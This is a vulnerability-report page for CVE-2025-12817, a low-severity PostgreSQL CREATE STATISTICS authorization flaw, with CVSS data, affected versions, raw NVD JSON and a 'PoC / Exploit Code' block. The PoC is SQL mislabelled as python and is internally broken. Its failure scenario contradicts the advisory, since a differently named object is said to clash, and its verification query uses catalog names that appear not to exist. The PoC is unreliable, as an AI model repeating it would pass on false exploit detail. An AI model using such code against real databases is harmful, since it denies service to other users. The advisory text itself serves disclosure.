Security Vulnerability Report
中文
CVE-2025-12817 CVSS 3.1 LOW

CVE-2025-12817

Published: 2025-11-13 13:15:45
Last Modified: 2026-04-15 00:35:42
Source: f86ef6dc-4d3a-42ad-8f28-e6d5547a5007

Description

Missing authorization in PostgreSQL CREATE STATISTICS command allows a table owner to achieve denial of service against other CREATE STATISTICS users by creating in any schema. A later CREATE STATISTICS for the same name, from a user having the CREATE privilege, would then fail. Versions before PostgreSQL 18.1, 17.7, 16.11, 15.15, 14.20, and 13.23 are affected.

CVSS Details

CVSS Score
3.1
Severity
LOW
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:L

Configurations (Affected Products)

No configuration data available.

PostgreSQL < 13.23
PostgreSQL < 14.20
PostgreSQL < 15.15
PostgreSQL < 16.11
PostgreSQL < 17.7
PostgreSQL < 18.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
-- PoC for CVE-2025-12817: PostgreSQL CREATE STATISTICS Authorization Issue -- This PoC demonstrates how a low-privilege user can cause DoS against other users -- Attacker setup: Create a low-privilege user who owns a table CREATE USER attacker WITH LOGIN; CREATE DATABASE test_db; \c test_db attacker -- Attacker creates a table they own CREATE TABLE attacker_data (id INT, value TEXT); INSERT INTO attacker_data VALUES (1, 'test'); -- Attacker creates statistics in public schema (even without explicit CREATE privilege) -- This is the vulnerability - no proper authorization check CREATE STATISTICS public.attacker_stats ON id, value FROM attacker_data; -- Now legitimate user trying to create statistics with same name will fail -- Other user connection \c test_db postgres -- If another user tries to create statistics with same name in public schema -- CREATE STATISTICS public.legitimate_stats ON id, value FROM some_other_table; -- This will fail because 'attacker_stats' already exists in public schema -- Error: could not create statistics object "attacker_stats" for relation... -- Verification: Check statistics objects SELECT schemaname, statistickind, owner_name, object_name FROM pg_statistic_ext_info; -- Cleanup DROP STATISTICS IF EXISTS public.attacker_stats; DROP TABLE attacker_data; DROP USER attacker;

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-12817", "sourceIdentifier": "f86ef6dc-4d3a-42ad-8f28-e6d5547a5007", "published": "2025-11-13T13:15:45.167", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Missing authorization in PostgreSQL CREATE STATISTICS command allows a table owner to achieve denial of service against other CREATE STATISTICS users by creating in any schema. A later CREATE STATISTICS for the same name, from a user having the CREATE privilege, would then fail. Versions before PostgreSQL 18.1, 17.7, 16.11, 15.15, 14.20, and 13.23 are affected."}], "metrics": {"cvssMetricV31": [{"source": "f86ef6dc-4d3a-42ad-8f28-e6d5547a5007", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:L", "baseScore": 3.1, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 1.6, "impactScore": 1.4}]}, "weaknesses": [{"source": "f86ef6dc-4d3a-42ad-8f28-e6d5547a5007", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://www.postgresql.org/support/security/CVE-2025-12817/", "source": "f86ef6dc-4d3a-42ad-8f28-e6d5547a5007"}]}}